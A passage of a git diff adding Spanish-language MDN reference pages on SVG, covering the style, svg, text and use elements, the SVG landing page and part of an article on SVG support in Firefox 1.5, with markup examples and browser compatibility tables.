+  &lt;style type="text/css"&gt;
+    /* &lt;![CDATA[ */
+    circle {
+      fill: orange;
+      stroke: black;
+      stroke-width: 10px; // Note that the value of a pixel depend on the viewBox
+    }
+    /* ]]&gt; */
+  &lt;/style&gt;
+
+  &lt;circle cx="50" cy="50" r="40" /&gt;
+&lt;/svg&gt;
+</pre>
+
+<p>Live result:</p>
+
+<p>{{EmbedLiveSample("Ejemplo",150,165)}}</p>
+
+<h2 id="Atributos">Atributos</h2>
+
+<h3 id="Atributos_globales">Atributos globales</h3>
+
+<ul>
+ <li><a href="/en/SVG/Attribute#Core" title="en/SVG/Attribute#Core">Core attributes</a> »</li>
+</ul>
+
+<h3 id="Atributos_específicos">Atributos específicos</h3>
+
+<ul>
+ <li>{{ SVGAttr("type") }}</li>
+ <li>{{ SVGAttr("media") }}</li>
+ <li>{{ SVGAttr("title") }}</li>
+</ul>
+
+<h2 id="DOM_Interface">DOM Interface</h2>
+
+<p>Este elemento implementa la interfaz <code><a href="/en/DOM/SVGStyleElement" title="en/DOM/SVGStyleElement">SVGStyleElement</a></code>.</p>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th scope="col">Feature</th>
+   <th scope="col">Chrome</th>
+   <th scope="col">Firefox (Gecko)</th>
+   <th scope="col">Internet Explorer</th>
+   <th scope="col">Opera</th>
+   <th scope="col">Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>1.0</td>
+   <td>{{ CompatGeckoDesktop('1.8') }}</td>
+   <td>{{ CompatIE('9.0') }}</td>
+   <td>{{ CompatOpera('9.0') }}</td>
+   <td>{{ CompatSafari('3.0.4') }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatAndroid('3.0') }}</td>
+   <td>{{ CompatGeckoMobile('1.8') }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatSafari('3.0.4') }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>The chart is based on <a href="/en/SVG/Compatibility_sources" title="en/SVG/Compatibility sources">these sources</a>.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en/HTML/Element/style" title="en/HTML/Element/style">&lt;style&gt; element in HTML</a></li>
+</ul>
diff --git a/files/es/web/svg/element/svg/index.html b/files/es/web/svg/element/svg/index.html
new file mode 100644
index 0000000000..93409888a6
--- /dev/null
+++ b/files/es/web/svg/element/svg/index.html
@@ -0,0 +1,110 @@
+---
+title: <svg>
+slug: Web/SVG/Element/svg
+tags:
+  - Contenedor SVG
+  - Elemento
+  - Referencia
+  - SVG
+  - red
+translation_of: Web/SVG/Element/svg
+---
+<p>El elemento <code>svg</code> es un contenedor que define un nuevo sistema de coordenadas y <a href="/en-US/docs/Web/SVG/Attribute/viewBox">viewport</a>. Es usado como el elemento más externo de cualquier documento SVG, pero también puede ser usado para agregar un fragmento de un SVG dentro de un documento SVG o HTML.</p>
+
+<h2 id="Contexto_de_Uso">Contexto de Uso</h2>
+
+<p>{{svginfo}}</p>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<p>Considere la sigiente imagen SVG (representando la bandera nacional de Italia):</p>
+
+<pre class="brush: xml notranslate">&lt;svg xmlns="http://www.w3.org/2000/svg"
+     width="150" height="100" viewBox="0 0 3 2"&gt;
+
+  &lt;rect width="1" height="2" x="0" fill="#008d46" /&gt;
+  &lt;rect width="1" height="2" x="1" fill="#ffffff" /&gt;
+  &lt;rect width="1" height="2" x="2" fill="#d2232c" /&gt;
+&lt;/svg&gt;</pre>
+
+<p>Esta puede ser incluida en un docuemnto HTML5 de la siguiente manera:</p>
+
+<pre class="brush: html notranslate">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+&lt;head&gt;
+  &lt;meta charset="UTF-8" /&gt;
+  &lt;title&gt;HTML/SVG Example&lt;/title&gt;
+&lt;/head&gt;
+
+&lt;body&gt;
+
+  &lt;svg width="150" height="100" viewBox="0 0 3 2"&gt;
+    &lt;rect width="1" height="2" x="0" fill="#008d46" /&gt;
+    &lt;rect width="1" height="2" x="1" fill="#ffffff" /&gt;
+    &lt;rect width="1" height="2" x="2" fill="#d2232c" /&gt;
+  &lt;/svg&gt;
+
+&lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<h2 id="Atributos">Atributos</h2>
+
+<h3 id="Atributos_Globales">Atributos Globales</h3>
+
+<ul>
+ <li><a href="/en-US/docs/Web/SVG/Attribute#ConditionalProccessing">Atributos de procesamiento condicional</a> »</li>
+ <li><a href="/en-US/docs/Web/SVG/Attribute#Core_attributes">Atributo Central</a> »</li>
+ <li><a href="/en-US/docs/Web/SVG/Attribute#DocumentEvent">Atributos de evento del Documento</a> »</li>
+ <li><a href="/en-US/docs/Web/SVG/Attribute#GraphicalEvent">Atributo de Eventos Gráficos</a> »</li>
+ <li><a href="/en-US/docs/Web/SVG/Attribute#Presentation">Atributos de presentación</a> »</li>
+ <li>{{SVGAttr("class")}}</li>
+ <li>{{SVGAttr("style")}}</li>
+ <li>{{SVGAttr("externalResourcesRequired")}}</li>
+</ul>
+
+<h3 id="Specific_attributes">Specific attributes</h3>
+
+<ul>
+ <li>{{SVGAttr("version")}}</li>
+ <li>{{SVGAttr("baseProfile")}}</li>
+ <li>{{SVGAttr("x")}}</li>
+ <li>{{SVGAttr("y")}}</li>
+ <li>{{SVGAttr("width")}}</li>
+ <li>{{SVGAttr("height")}}</li>
+ <li>{{SVGAttr("preserveAspectRatio")}}</li>
+ <li>{{SVGAttr("contentScriptType")}}</li>
+ <li>{{SVGAttr("contentStyleType")}}</li>
+ <li>{{SVGAttr("viewBox")}}</li>
+</ul>
+
+<h2 id="Interfaz_DOM">Interfaz DOM</h2>
+
+<p>Este elemento implementa <code><a href="/en-US/docs/Web/API/SVGSVGElement">SVGSVGElement</a></code> en la interfaz.</p>
+
+<h2 id="Specificaciones">Specificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('SVG2', 'struct.html#NewDocument', '&lt;svg&gt;')}}</td>
+   <td>{{Spec2('SVG2')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('SVG1.1', 'struct.html#NewDocument', '&lt;svg&gt;')}}</td>
+   <td>{{Spec2('SVG1.1')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_Navegador">Compatibilidad de Navegador</h2>
+
+<p>{{Compat("svg.elements.svg")}}</p>
diff --git a/files/es/web/svg/element/text/index.html b/files/es/web/svg/element/text/index.html
new file mode 100644
index 0000000000..e694d9dd52
--- /dev/null
+++ b/files/es/web/svg/element/text/index.html
@@ -0,0 +1,152 @@
+---
+title: text
+slug: Web/SVG/Element/text
+translation_of: Web/SVG/Element/text
+---
+<div>{{SVGRef}}</div>
+
+<p>El elemento text define un elemento gráfico que consiste en texto. Nótese que es posible aplicar un degradado, patrón, recorte, máscara o filtro al texto</p>
+
+<h2 id="Uso">Uso</h2>
+
+<p>{{svginfo}}</p>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<pre class="brush: xml">&lt;?xml version="1.0"?&gt;
+&lt;svg xmlns="http://www.w3.org/2000/svg"
+     width="100px" height="30px" viewBox="0 0 1000 300"&gt;
+
+  &lt;text x="250" y="150"
+        font-family="Verdana"
+        font-size="55"&gt;
+    Hello, out there
+  &lt;/text&gt;
+
+  &lt;!-- Show outline of canvas using 'rect' element --&gt;
+  &lt;rect x="1" y="1" width="998" height="298"
+        fill="none" stroke-width="2" /&gt;
+&lt;/svg&gt;
+</pre>
+
+<p>El elemento &lt;text&gt; es usado para dibujar texto. El siguiente código de ejemplo es usado para dibujar texto con coordenadas.</p>
+
+<pre class="brush: xml">&lt;svg xmlns="http://www.w3.org/2000/svg" width="100px" height="50px"&gt;
+  &lt;text x="10" y="20"&gt;SVG Text Example&lt;/text&gt;
+&lt;/svg&gt;
+</pre>
+
+<p>El elemento text puede ser rotado. El siguiente código de ejemplo muestra cómo.</p>
+
+<pre class="brush: xml">&lt;svg xmlns="http://www.w3.org/2000/svg" width="100px" height="50px"&gt;
+  &lt;text x="10"  y="20"
+        transform="rotate(30 20,40)"&gt;
+    SVG Text Rotation example
+  &lt;/text&gt;
+&lt;/svg&gt;
+</pre>
+
+<p>SVG text también puede ser estilizado</p>
+
+<pre class="brush: xml">&lt;svg xmlns="http://www.w3.org/2000/svg" width="100px" height="50px"&gt;
+  &lt;text x="10"  y="20"
+        style="font-family: Times New Roman;
+               font-size  : 24;
+               stroke     : #00ff00;
+               fill       : #0000ff;"&gt;
+    SVG text styling
+  &lt;/text&gt;
+&lt;/svg&gt;
+</pre>
+
+<h2 id="Atributos">Atributos</h2>
+
+<h3 id="Atributos_globales">Atributos globales</h3>
+
+<ul>
+ <li><a href="/en/SVG/Attribute#ConditionalProccessing">Atributos de procesamiento condicional »</a></li>
+ <li><a href="/en/SVG/Attribute#Core">Atributos base »</a></li>
+ <li><a href="/en/SVG/Attribute#GraphicalEvent">Atributos de eventos gráficos »</a></li>
+ <li><a href="/en/SVG/Attribute#Presentation" title="en/SVG/Attribute#Presentation">Atributos de presentación</a> »</li>
+ <li>{{ SVGAttr("class") }}</li>
+ <li>{{ SVGAttr("style") }}</li>
+ <li>{{ SVGAttr("externalResourcesRequired") }}</li>
+ <li>{{ SVGAttr("transform") }}</li>
+</ul>
+
+<h3 id="Atributos_específicos">Atributos específicos</h3>
+
+<ul>
+ <li>{{ SVGAttr("x") }}</li>
+ <li>{{ SVGAttr("y") }}</li>
+ <li>{{ SVGAttr("dx") }}</li>
+ <li>{{ SVGAttr("dy") }}</li>
+ <li>{{ SVGAttr("text-anchor") }}</li>
+ <li>{{ SVGAttr("rotate") }}</li>
+ <li>{{ SVGAttr("textLength") }}</li>
+ <li>{{ SVGAttr("lengthAdjust") }}</li>
+</ul>
+
+<h2 id="Interfaz_DOM">Interfaz DOM</h2>
+
+<p>Este elemento hereda la interfaz de <code><a href="/en/DOM/SVGTextElement" title="en/DOM/SVGTextElement">SVGTextElement</a></code>.</p>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>IE</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatChrome('1.0') }}</td>
+   <td>{{ CompatGeckoDesktop('1.8') }}</td>
+   <td>{{ CompatIE('9.0') }}</td>
+   <td>{{ CompatOpera('8.0') }}</td>
+   <td>{{ CompatSafari('3.0.4') }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatAndroid('3.0') }}</td>
+   <td>{{ CompatGeckoMobile('1.8') }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatSafari('3.0.4') }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>La gráfica está basada en  <a href="/en/SVG/Compatibility_sources" title="en/SVG/Compatibility sources">estas fuentes</a>.</p>
+
+<h2 id="Relacionados">Relacionados</h2>
+
+<ul>
+ <li>{{ SVGElement("tspan") }}</li>
+ <li>{{ SVGElement("tref") }}</li>
+ <li>{{ SVGElement("altGlyph") }}</li>
+</ul>
diff --git a/files/es/web/svg/element/use/index.html b/files/es/web/svg/element/use/index.html
new file mode 100644
index 0000000000..32c7a4c086
--- /dev/null
+++ b/files/es/web/svg/element/use/index.html
@@ -0,0 +1,154 @@
+---
+title: <use>
+slug: Web/SVG/Element/use
+tags:
+  - Elementos
+  - Gráficos SVG
+  - Referencia
+  - SVG
+translation_of: Web/SVG/Element/use
+---
+<div>{{SVGRef}}</div>
+
+<p>El elemento <code>use</code> toma los nodos que están dentro del documento SVG y duplica el contenido donde éste esté siendo utilizado. El efecto es el mismo, como si éstos nodos hubiesen sido profundamente clonados en un elemento DOM no expuesto, y luego pegados donde se encuentra el elemeto <code>use</code>, al igual que los <a href="/en-US/docs/Web/HTML/Element/template">elementos plantilla</a> son clonados en HTML5. Desde que los elementos clonados no sean expuestos como DOM, su cuidado debe tomarse en cuenta durante el uso de <a href="/en/CSS" title="en/CSS">CSS</a> para estilizar un elemento <code>use</code> y sus descendientes ocultos. Los atributos CSS no ofrecen la garantía de heredarse en los elementos DOM clonados y escondidos, a no ser que lo realice utilizando <a href="/en/CSS/inheritance" title="en/CSS/inheritance">herencia CSS</a>.</p>
+
+<p>Por razones de seguridad, algunos navegadores podrían aplicar una política del mismo origen sobre los elementos <code>use</code> y podrían negarse a cargar una URI de origen cruzado dentro del atributo <code>xlink:href</code>.</p>
+
+<h2 id="Contexto_de_uso">Contexto de uso</h2>
+
+<p>{{svginfo}}</p>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<pre class="brush: xml" id="Attributes">&lt;svg width="100%" height="100%" xmlns="<a href="http://www.w3.org/2000/svg">http://www.w3.org/2000/svg</a>" xmlns:xlink="<a href="http://www.w3.org/1999/xlink">http://www.w3.org/1999/xlink</a>"&gt;
+  &lt;style&gt;
+    .classA { fill:red }
+  &lt;/style&gt;
+  &lt;defs&gt;
+    &lt;g id="Port"&gt;
+      &lt;circle style="fill:inherit" r="10"/&gt;
+    &lt;/g&gt;
+  &lt;/defs&gt;
+
+  &lt;text y="15"&gt;black&lt;/text&gt;
+  &lt;use x="50" y="10" xlink:href="#Port" /&gt;
+  &lt;text y="35"&gt;red&lt;/text&gt;
+  &lt;use x="50" y="30" xlink:href="#Port" class="classA"/&gt;
+  &lt;text y="55"&gt;blue&lt;/text&gt;
+  &lt;use x="50" y="50" xlink:href="#Port" style="fill:blue"/&gt;
+ &lt;/svg&gt;
+</pre>
+
+<p> </p>
+
+<h2 id="Atributos">Atributos</h2>
+
+<h3 id="Atributos_Globales">Atributos Globales</h3>
+
+<ul>
+ <li><a href="/en/SVG/Attribute#ConditionalProccessing" title="en/SVG/Attribute#ConditionalProccessing">Atributos de procesamiento condicional</a> »</li>
+ <li><a href="/en/SVG/Attribute#Core" title="en/SVG/Attribute#Core">Atributos núcleo</a> »</li>
+ <li><a href="/en/SVG/Attribute#GraphicalEvent" title="en/SVG/Attribute#GraphicalEvent">Atributos de eventos gráficos</a> »</li>
+ <li><a href="/en/SVG/Attribute#Presentation" title="en/SVG/Attribute#Presentation">Atributos de presentación</a> »</li>
+ <li><a href="/en/SVG/Attribute#XLink" title="en/SVG/Attribute#XLink">Atributos Xlink</a> »</li>
+ <li>{{ SVGAttr("class") }}</li>
+ <li>{{ SVGAttr("style") }}</li>
+ <li>{{ SVGAttr("externalResourcesRequired") }}</li>
+ <li>{{ SVGAttr("transform") }}</li>
+</ul>
+
+<h3 id="Atributos_específicos">Atributos específicos</h3>
+
+<ul>
+ <li>{{ SVGAttr("x") }}</li>
+ <li>{{ SVGAttr("y") }}</li>
+ <li>{{ SVGAttr("width") }}</li>
+ <li>{{ SVGAttr("height") }}</li>
+ <li>{{ SVGAttr("xlink:href") }}</li>
+</ul>
+
+<h2 id="Interfaz_DOM">Interfaz DOM</h2>
+
+<p>Este elemento implementa la interface <code><a href="/en/DOM/SVGUseElement" title="en/DOM/SVGUseElement">SVGUseElement</a></code>.</p>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Compatibilidad entre navegadores</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+  <tr>
+   <td>Carga desde una URL externa</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{CompatNo()}}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+  <tr>
+   <td>Carga desde dato: URI</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatGeckoDesktop("10.0") }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+  <tr>
+   <td>Carga desde una URL externa</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+  <tr>
+   <td>Carga desde dato: URI</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/es/web/svg/index.html b/files/es/web/svg/index.html
new file mode 100644
index 0000000000..642ed8aedf
--- /dev/null
+++ b/files/es/web/svg/index.html
@@ -0,0 +1,110 @@
+---
+title: SVG
+slug: Web/SVG
+tags:
+  - Gráficos 2D
+  - Gráficos(2)
+  - SVG
+  - Todas_las_Categorías
+  - Web
+translation_of: Web/SVG
+---
+<div class="callout-box"><strong><a class="external" href="/es-ES/docs/SVG/Tutorial">Comenzando con SVG</a></strong><br>
+Este tutorial te ayudará a comenzar a usar SVG.</div>
+
+<p class="summary"><span class="seoSummary"><strong>Gráficos vectoriales escalables</strong> <strong>(SVG)</strong> es un lenguaje de marcado <a href="/es/docs/XML_Introduction" hreflang="es">XML</a> para describir <a href="https://es.wikipedia.org/wiki/Gr%C3%A1fico_vectorial">gráficos vectoriales </a>en dos dimensiones.</span> Básicamente, es a los gráficos lo que <a href="/es/docs/web/HTML" hreflang="es">HTML</a> es al texto.</p>
+
+<p>SVG es un estándar Web abierto basado en texto. Está expresamente diseñado para trabajar con otros estándares web como <a href="/es/docs/CSS" lang="es" title="es/docs/CSS">CSS</a>, <a href="/es/docs/DOM" lang="es" title="es/docs/DOM">DOM</a>, y <a href="/es/docs/Web/SVG/SVG_animation_with_SMIL" lang="es" title="es/docs/Web/SVG/SVG_animation_with_SMIL">SMIL</a>.</p>
+
+<p><span class="comment">&lt;br style="clear:both;" /&gt;</span></p>
+
+<table class="topicpage-table">
+ <tbody>
+  <tr>
+   <td>
+    <h2 id="Documentaci.C3.B3n" name="Documentaci.C3.B3n">Documentación</h2>
+
+    <dl>
+     <dt><a href="/es-ES/docs/Web/SVG/Element">Referencia de elementos SVG</a></dt>
+     <dd>Detalles sobre cada uno de los elementos SVG.</dd>
+     <dt><a href="/es-ES/docs/Web/SVG/Attribute">Referencia de atributos SVG</a></dt>
+     <dd>Detalles sobre cada uno de los atributos SVG.</dd>
+     <dt><a href="/es-ES/docs/DOM/DOM_Reference#SVG_interfaces">Referencia del interfaz DOM SVG</a></dt>
+     <dd>Detalles acerca del API SVG DOM, para interacción con JavaScript.</dd>
+     <dt><a href="/es-ES/docs/Web/SVG/Applying_SVG_effects_to_HTML_content">Aplicando efectos SVG a contenido HTML</a></dt>
+     <dd>SVG trabaja con with {{Glossary("HTML")}}, {{Glossary("CSS")}} and {{Glossary("JavaScript")}}. Usa SVG para <a href="/es-ES/docs/SVG_In_HTML_Introduction">mejorar una página HTML normal o aplicación web</a>.</dd>
+     <dt>
+     <p><span class="alllinks"><a href="/es-ES/docs/tag/SVG">Ver más...</a></span></p>
+     </dt>
+     <dt>
+     <h2 class="Community" id="Comunidad">Comunidad</h2>
+     Ver foros de Mozilla... {{DiscussionList("dev-tech-svg", "mozilla.dev.tech.svg")}}</dt>
+     <dd> </dd>
+    </dl>
+
+    <h2 class="Tools" id="Herramientas">Herramientas</h2>
+
+    <ul>
+     <li><small><a href="http://www.w3.org/Graphics/SVG/Test/">Área de pruebas SVG</a> </small></li>
+     <li><small><a href="http://jiggles.w3.org/svgvalidator/">Validador SVG</a> (Discontinuado) </small></li>
+     <li><small><a href="/es-ES/docs/tag/SVG:Tools">Más Herramientas...</a> </small></li>
+     <li><small>Otros recursos: <a href="/es-ES/docs/XML">XML</a>, <a href="/es-ES/docs/CSS">CSS</a>, <a href="/es-ES/docs/DOM">DOM</a>, <a href="/es-ES/docs/HTML/Canvas">Canvas</a> </small></li>
+    </ul>
+   </td>
+   <td>
+    <h2 id="Ejemplos">Ejemplos</h2>
+
+    <div class="section">
+    <ul>
+     <li>Google <a href="https://maps.google.com">Maps</a> (superposición de rutas) &amp; <a href="https://docs.google.com">Docs</a> (gráficos con hojas de cálculo)</li>
+     <li><a href="http://starkravingfinkle.org/projects/demo/svg-bubblemenu-in-html.xml">Menús SVG de burbuja</a></li>
+     <li><a href="http://jwatt.org/svg/authoring/">Directríces de autoría de SVG</a></li>
+     <li>Una visión general del <a href="/es-ES/docs/Mozilla_SVG_Project">Proyecto SVG de Mozilla</a></li>
+     <li><a href="/es-ES/docs/SVG/FAQ">Preguntas frecuentes</a> acerca de SVG y Mozilla</li>
+     <li>Diapositivas y demos de la charla sobre <a href="http://jwatt.org/svg-open-US/docs/2009/slides.xhtml">SVG y Mozilla</a> en el SVG Open 2009</li>
+     <li><a href="/es-ES/docs/SVG/SVG_as_an_Image">SVG como imagen</a></li>
+     <li><a href="/es-ES/docs/SVG/SVG_animation_with_SMIL">Animación SVG con SMIL</a></li>
+     <li><a href="http://plurib.us/1shot/2007/svg_gallery/">Galería de arte SVG</a></li>
+     <li>Más ejemplos (<a href="http://www.carto.net/papers/svg/samples/">carto.net</a>)</li>
+    </ul>
+
+    <p> </p>
+
+    <h3 id="Animaciones_e_interacciones">Animaciones e interacciones</h3>
+
+    <p>Al igual que HTML, SVG tiene un modelo de objetos de documento (DOM) y eventos, y es accesible desde JavaScript. Esto permite al desarrollador crear animaciones ricas y permite e imágenes interactivas.</p>
+
+    <ul>
+     <li>Algunos SVG muy atractivos en <a href="http://svg-wow.org/">svg-wow.org</a></li>
+     <li>Extension Firefox (<a href="http://schepers.cc/grafox/">Grafox</a>) para añadir soporte al subconjunto de animación {{Glossary("SMIL")}}</li>
+     <li>Manipulación interactiva de <a href="http://people.mozilla.com/%7Evladimir/demos/photos.svg">fotos</a></li>
+     <li><a href="http://starkravingfinkle.org/blog/2007/07/firefox-3-svg-foreignobject/">Transformaciones HTML</a> usando <code>foreignObject</code> de SVG</li>
+    </ul>
+
+    <p> </p>
+
+    <h3 id="Mapeado_gráficos_juegos_y_experimentos_3D">Mapeado, gráficos, juegos y experimentos 3D</h3>
+
+    <p>Aunque un poco de SVG puede dar mucho recorrido a la hora de mejorar contenidos web, aquí tienes algunos ejemplos de uso de gran cantidad de SVG.</p>
+
+    <ul>
+     <li><a href="http://www.codedread.com/yastframe.php">Tetris</a></li>
+     <li><a href="https://web.archive.org/web/20131019072450/http://www.treebuilder.de/svg/connect4.svg" title="Archive link provided because source now requires authentication.">Connect 4</a></li>
+     <li><a href="http://www.carto.net/papers/svg/us_population/index.html">Mapa de población de los Estados Unidos de América</a></li>
+     <li><a href="http://www.treebuilder.de/default.asp?file=441875.xml">Caja 3D box</a> y <a href="http://www.treebuilder.de/default.asp?file=206524.xml">Cajas 3D</a></li>
+     <li><a href="http://jvectormap.com/">jVectorMap</a> (mapas interactivos para visualización de datos)</li>
+     <li><a href="http://jointjs.com">JointJS</a> (JavaScript libreria de creación de diagramas con JavaScript)</li>
+    </ul>
+    </div>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<p><span class="comment">Categorías</span></p>
+
+<p><span class="comment">Interwiki Language Links</span></p>
+
+<p> </p>
+
+<p>{{ languages( { "en": "en/SVG", "fr": "fr/SVG", "it": "it/SVG", "ja": "ja/SVG", "pl": "pl/SVG", "pt": "pt/SVG" } ) }}</p>
diff --git a/files/es/web/svg/index/index.html b/files/es/web/svg/index/index.html
new file mode 100644
index 0000000000..a9cf2d3736
--- /dev/null
+++ b/files/es/web/svg/index/index.html
@@ -0,0 +1,6 @@
+---
+title: SVG documentation index
+slug: Web/SVG/Index
+translation_of: Web/SVG/Index
+---
+<p>{{Index("/en-US/docs/Web/SVG")}}</p>
diff --git a/files/es/web/svg/svg_en_firefox_1.5/index.html b/files/es/web/svg/svg_en_firefox_1.5/index.html
new file mode 100644
index 0000000000..f2d954e573
--- /dev/null
+++ b/files/es/web/svg/svg_en_firefox_1.5/index.html
@@ -0,0 +1,60 @@
+---
+title: SVG en Firefox 1.5
+slug: Web/SVG/SVG_en_Firefox_1.5
+tags:
+  - SVG
+  - Todas_las_Categorías
+---
+<p>
+<a href="es/Firefox_1.5">Firefox 1.5</a> marca la publicación del primer navegador de Mozilla que soporta el formato de <a class="external" href="http://www.w3.org/Graphics/SVG/">gráficos vectoriales escalables (SVG)</a>. El camino de este proyecto ha sido largo, nos satisface poner a disposición de los desarrolladores esta tecnologia y estamos impacientes por ver sus frutos. </p><p>Firefox SVG es un subconjunto de <a class="external" href="http://www.w3.org/TR/SVG11/">SVG 1.1</a>, pero no es ninguno de los perfiles oficiales (Tiny, Basic, Full). En este documento se puede encontrar una lista completa de los elementos que han sido implementados en Firefox 1.5. Además encontrará información sobre las limitaciones en su implementación.
+</p><p>La peculiar implementación que hemos realizado puede dificultar el creación de contenidos, le pedimos que tenga paciencia mientras trabajamos en la implementación completa de esta extensa especificación.
+</p><p>Mientras lee esto, usted puede preguntarse cuandos de estos detalles sobre de la implementación pueden haber cambiado. Por desgracia el <a class="external" href="http://www.mozilla.org/roadmap/gecko-1.9-roadmap.html">mapa de ruta actual</a> situa la publicación de Firefox con Gecko 1.9 en el primer trimestre de 2007. Sin embargo si usted desea comenzar a experimentar con las nuevas funcionalidades, tiene a su disposición en las <a class="external" href="http://www.mozilla.org/developer/#builds">nightly builds</a> las últimas evoluciones, y si lo desea puede consultar <a class="external" href="http://www.mozilla.org/projects/svg/status.html">la tabla actualizada</a> sobre la implementación de SVG en la versión de desarrollo. Como podreis comprobar, la cosa avanza a buen ritmo ☺.
+</p><p><br>
+</p>
+<h2 id="Performance" name="Performance"> Performance </h2>
+<p>Firefox usa el mismo motor de renderizado, <a class="external" href="http://cairographics.org/">cairo</a>, en todas las plataformas en las que navega. Por lo tanto sus características de interpretación serán similares. La Performance en linux es la más difícil de predecir, esto es debido a las distintas implementaciones que hacen los diversos servidores X de la extensión RENDER.
+</p><p>En Windows el renderizado de SVG es bastante más rápido que en otras plataformas.
+</p>
+<h2 id="Coordinate_range" name="Coordinate_range"> Coordinate range </h2>
+<p>Si tu contenido posee geometría con un gran rango de coordenadas, necesitarás tener cuidado con los problemas causados por el uso interno de cairo de una representación en punto fijo de 16.16 bit para sus cálculos. Cairo no clip primitives antes de la rasterización, por lo que las coordenadas finales tras la transformación que excedan el rango desde -32678 a 32677 causarán errores de renderizado y posiblemente un funcionamiento bastante lento.
+</p>
+<h2 id="Texto_en_Windows_98" name="Texto_en_Windows_98"> Texto en Windows 98 </h2>
+<p>Un lamentable efecto secundario de usar Cairo como backend de renderizado en Windows es que el renderizado del texto no funcionará en Windows 98. En realidad la cosa es aun peor, si aparece cualquier texto durante la visualización de contenidos SVG, todo el dibujo se parará.
+</p>
+<h2 id="Selecci.C3.B3n_de_fuente" name="Selecci.C3.B3n_de_fuente"> Selección de fuente </h2>
